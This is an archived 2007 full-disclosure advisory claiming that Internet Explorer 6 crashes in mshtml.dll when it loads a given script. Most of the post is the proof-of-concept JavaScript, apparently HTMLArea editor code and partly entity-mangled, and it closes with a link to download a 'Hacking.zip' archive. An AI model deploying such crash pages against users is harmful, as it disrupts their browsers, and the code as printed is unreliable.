Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16429
HistoryMar 22, 2007 - 12:00 a.m.

[Full-disclosure] Microsoft Internet Explorer Multiple Vulnerabilities(mshtml.dll)

2007-03-2200:00:00
vulners.com
19

Microsoft Internet Explorer Multiple Vulnerabilities(mshtml.dll)
Discovered by:SaiedHacker
Company of Program:Microsoft
Tested On:Internet explorer 6.0.2900.2180
member of group:Siahacking,ArshamHacker,RHDS

to find how IE crached you shoud type this code into a HTML file and save that

        <!-----------------------------------H@ckeranShiraz Security Team-----------------------!>
           <!-- saved from url=(007)http://www.SaiedHackerPro.PersianBlog.com -->
                <SCRIPT src="SaiedHacker.js" type=text/javascript></SCRIPT>

after typing these codes into a JS file:

_editor_url = "editor/";
if (typeof _editor_url == "string") {
_editor_url = _editor_url.replace(/\x2f*$/, '/');
} else {
alert("WARNING: _editor_url is not set! You should set this variable to the editor files path; it should preferably be an absolute path, like in '/Saiedhacker', but it can be relative if you prefer. Further we will try to load the editor files correctly but we'll probably fail.");
}
if (typeof _editor_lang == "string") {
_editor_lang = _editor_lang.toLowerCase();
} else {
_editor_lang = "en";
}

function HTMLArea(textarea, config) {
if (HTMLArea.checkSupportedBrowser()) {
if (typeof config == "undefined") {
this.config = new HTMLArea.Config();
} else {
this.config = config;
}
this._htmlArea = null;
this._textArea = textarea;
this._editMode = "wysiwyg";
this.plugins = {};
this._timerToolbar = null;
this._timerUndo = setInterval(function() { if(config._doc) config._undoTakeSnapshot(); }, this.config.undoTimeout);
this._undoQueue = new Array();
this._undoPos = -1;
this._customUndo = true;
this._mdoc = document;
this.doctype = '';
}
};
(

function() {
var scripts = HTMLArea._scripts = [ _editor_url + "htmlarea.js",
_editor_url + "dialog.js",
_editor_url + "popupwin.js",
_editor_url + "lang/" + _editor_lang + ".js" ];
var head = document.getElementsByTagName("head")[0];
for (var i = 1; i < scripts.length; ++i) {
var script = document.createElement("script");
script.src = scripts[i];
head.appendChild(script);
}
}

)();
HTMLArea.RE_tagName = /(<\/|<)\s*([^ \t\n>]+)/ig;
HTMLArea.RE_doctype = /(<!doctype((.|\n)?)>)\n?/i;
HTMLArea.RE_head = /<head>((.|\n)
?)<\/head>/i;
HTMLArea.RE_body = /<body>((.|\n)*?)<\/body>/i;

HTMLArea.Config = function () {
this.version = "3.0";

          this.width = &quot;auto&quot;;
          this.height = &quot;auto&quot;;
          this.statusBar = false;
          this.undoSteps = 20;
          this.undoTimeout = 500;
          this.sizeIncludesToolbar = true;
          this.fullPage = false;
          this.pageStyle = &quot;&quot;;
          this.killWordOnPaste = false;
          this.baseURL = document.baseURI || document.URL;
          if &#40;this.baseURL &amp;&amp; this.baseURL.match&#40;/&#40;.*&#41;&#92;/&#40;[^&#92;/]+&#41;/&#41;&#41;
                      this.baseURL = RegExp.$1 + &quot;/&quot;;
          this.imgURL = &quot;images/&quot;;
          this.popupURL = &quot;popups/&quot;;
          this.toolbar = [
                      [ &quot;fontname&quot;, &quot;space&quot;,
                        &quot;fontsize&quot;, &quot;space&quot;,
                        &quot;formatblock&quot;, &quot;space&quot;,
                        &quot;bold&quot;, &quot;italic&quot;, &quot;underline&quot;, &quot;strikethrough&quot;, &quot;separator&quot;,
                        &quot;subscript&quot;, &quot;superscript&quot;, &quot;separator&quot;,
                        &quot;copy&quot;, &quot;cut&quot;, &quot;paste&quot;, &quot;space&quot;, &quot;undo&quot;, &quot;redo&quot; ],

                      [ &quot;justifyleft&quot;, &quot;justifycenter&quot;, &quot;justifyright&quot;, &quot;justifyfull&quot;, &quot;separator&quot;,
                        &quot;lefttoright&quot;, &quot;righttoleft&quot;, &quot;separator&quot;,
                        &quot;insertorderedlist&quot;, &quot;insertunorderedlist&quot;, &quot;outdent&quot;, &quot;indent&quot;, &quot;separator&quot;,
                        &quot;forecolor&quot;, &quot;hilitecolor&quot;, &quot;separator&quot;,
                        &quot;inserthorizontalrule&quot;, &quot;createlink&quot;, &quot;insertimage&quot;, &quot;inserttable&quot;, &quot;htmlmode&quot;, &quot;separator&quot;,
                        &quot;popupeditor&quot;, &quot;separator&quot;, &quot;showhelp&quot;, &quot;about&quot; ]
          ];

          this.fontname = {
                      &quot;Arial&quot;:     &#39;arial,helvetica,sans-serif&#39;,
                      &quot;Courier New&quot;:    &#39;courier new,courier,monospace&#39;,
                      &quot;Georgia&quot;:            &#39;georgia,times new roman,times,serif&#39;,
                      &quot;Tahoma&quot;:            &#39;tahoma,arial,helvetica,sans-serif&#39;,
                      &quot;Times New Roman&quot;: &#39;times new roman,times,serif&#39;,
                      &quot;Verdana&quot;:           &#39;verdana,arial,helvetica,sans-serif&#39;,
                      &quot;impact&quot;:              &#39;impact&#39;,
                      &quot;WingDings&quot;:       &#39;wingdings&#39;
          };

          this.fontsize = {
                      &quot;1 &#40;8 pt&#41;&quot;:  &quot;1&quot;,
                      &quot;2 &#40;10 pt&#41;&quot;: &quot;2&quot;,
                      &quot;3 &#40;12 pt&#41;&quot;: &quot;3&quot;,
                      &quot;4 &#40;14 pt&#41;&quot;: &quot;4&quot;,
                      &quot;5 &#40;18 pt&#41;&quot;: &quot;5&quot;,
                      &quot;6 &#40;24 pt&#41;&quot;: &quot;6&quot;,
                      &quot;7 &#40;36 pt&#41;&quot;: &quot;7&quot;
          };

          this.formatblock = {
                      &quot;Heading 1&quot;: &quot;h1&quot;,
                      &quot;Heading 2&quot;: &quot;h2&quot;,
                      &quot;Heading 3&quot;: &quot;h3&quot;,
                      &quot;Heading 4&quot;: &quot;h4&quot;,
                      &quot;Heading 5&quot;: &quot;h5&quot;,
                      &quot;Heading 6&quot;: &quot;h6&quot;,
                      &quot;Normal&quot;: &quot;p&quot;,
                      &quot;Address&quot;: &quot;address&quot;,
                      &quot;Formatted&quot;: &quot;pre&quot;
          };

          this.customSelects = {};

          function cut_copy_paste&#40;e, cmd, obj&#41; {
                      e.execCommand&#40;cmd&#41;;
          };
          this.btnList = {
                      bold: [ &quot;Bold&quot;, &quot;ed_format_bold.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;bold&quot;&#41;;} ],
                      italic: [ &quot;Italic&quot;, &quot;ed_format_italic.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;italic&quot;&#41;;} ],
                      underline: [ &quot;Underline&quot;, &quot;ed_format_underline.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;underline&quot;&#41;;} ],
                      strikethrough: [ &quot;Strikethrough&quot;, &quot;ed_format_strike.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;strikethrough&quot;&#41;;} ],
                      justifyleft: [ &quot;Justify Left&quot;, &quot;ed_align_left.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;justifyleft&quot;&#41;;} ],
                      justifycenter: [ &quot;Justify Center&quot;, &quot;ed_align_center.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;justifycenter&quot;&#41;;} ],
                      justifyright: [ &quot;Justify Right&quot;, &quot;ed_align_right.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;justifyright&quot;&#41;;} ],
                      justifyfull: [ &quot;Justify Full&quot;, &quot;ed_align_justify.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;justifyfull&quot;&#41;;} ],
                      insertorderedlist: [ &quot;Ordered List&quot;, &quot;ed_list_num.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;insertorderedlist&quot;&#41;;} ],
                      insertunorderedlist: [ &quot;Bulleted List&quot;, &quot;ed_list_bullet.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;insertunorderedlist&quot;&#41;;} ],
                      outdent: [ &quot;Decrease Indent&quot;, &quot;ed_indent_more.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;outdent&quot;&#41;;} ],
                      indent: [ &quot;Increase Indent&quot;, &quot;ed_indent_less.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;indent&quot;&#41;;} ],
                      forecolor: [ &quot;Font Color&quot;, &quot;ed_color_fg.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;forecolor&quot;&#41;;} ],
                      hilitecolor: [ &quot;Background Color&quot;, &quot;ed_color_bg.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;hilitecolor&quot;&#41;;} ],
                      createlink: [ &quot;Insert Web Link&quot;, &quot;ed_link.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;createlink&quot;, true&#41;;} ],
                      insertimage: [ &quot;Insert/Modify Image&quot;, &quot;ed_image.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;insertimage&quot;&#41;;} ],
                      htmlmode: [ &quot;Toggle HTML Source&quot;, &quot;ed_html.gif&quot;, true, function&#40;e&#41; {e.execCommand&#40;&quot;htmlmode&quot;&#41;;} ],
                      undo: [ &quot;Undoes your last action&quot;, &quot;ed_undo.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;undo&quot;&#41;;} ],
                      redo: [ &quot;Redoes your last action&quot;, &quot;ed_redo.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;redo&quot;&#41;;} ],
                      cut: [ &quot;Cut selection&quot;, &quot;ed_cut.gif&quot;, false, cut_copy_paste ],
                      copy: [ &quot;Copy selection&quot;, &quot;ed_copy.gif&quot;, false, cut_copy_paste ],
                      paste: [ &quot;Paste from clipboard&quot;, &quot;ed_paste.gif&quot;, false, cut_copy_paste ],
                      lefttoright: [ &quot;Direction left to right&quot;, &quot;ed_left_to_right.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;lefttoright&quot;&#41;;} ],
                      smiley: [ &quot;smiley&quot;, &quot;ed_smiley.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;smiley&quot;&#41;;} ],
                      save: [ &quot;save&quot;, &quot;ed_save.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;save&quot;&#41;;} ],
                      lang: [ &quot;language&quot;, &quot;ed_en.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;lang&quot;&#41;;} ],
                      righttoleft: [ &quot;Direction right to left&quot;, &quot;ed_right_to_left.gif&quot;, false, function&#40;e&#41; {e.execCommand&#40;&quot;righttoleft&quot;&#41;;} ]
          };
          for &#40;var i in this.btnList&#41; {
                      var btn = this.btnList[i];
                      btn[1] = _editor_url + this.imgURL + btn[1];
                      if &#40;typeof HTMLArea.I18N.tooltips[i] != &quot;undefined&quot;&#41; {
                                  btn[0] = HTMLArea.I18N.tooltips[i];
                      }
          }

};

finally when you run the html file you see that internet explorer cant run those codes and craches very fast. for downloading these codes you can go to http://www.freewebtown.com/saiedhacker/Hacking.zip
Have time of your life

HackeranShiraz Security Team
[email protected]
www.SaiedHackerPro.PersianBlog.Com


Get your own web address.
Have a HUGE year through Yahoo! Small Business.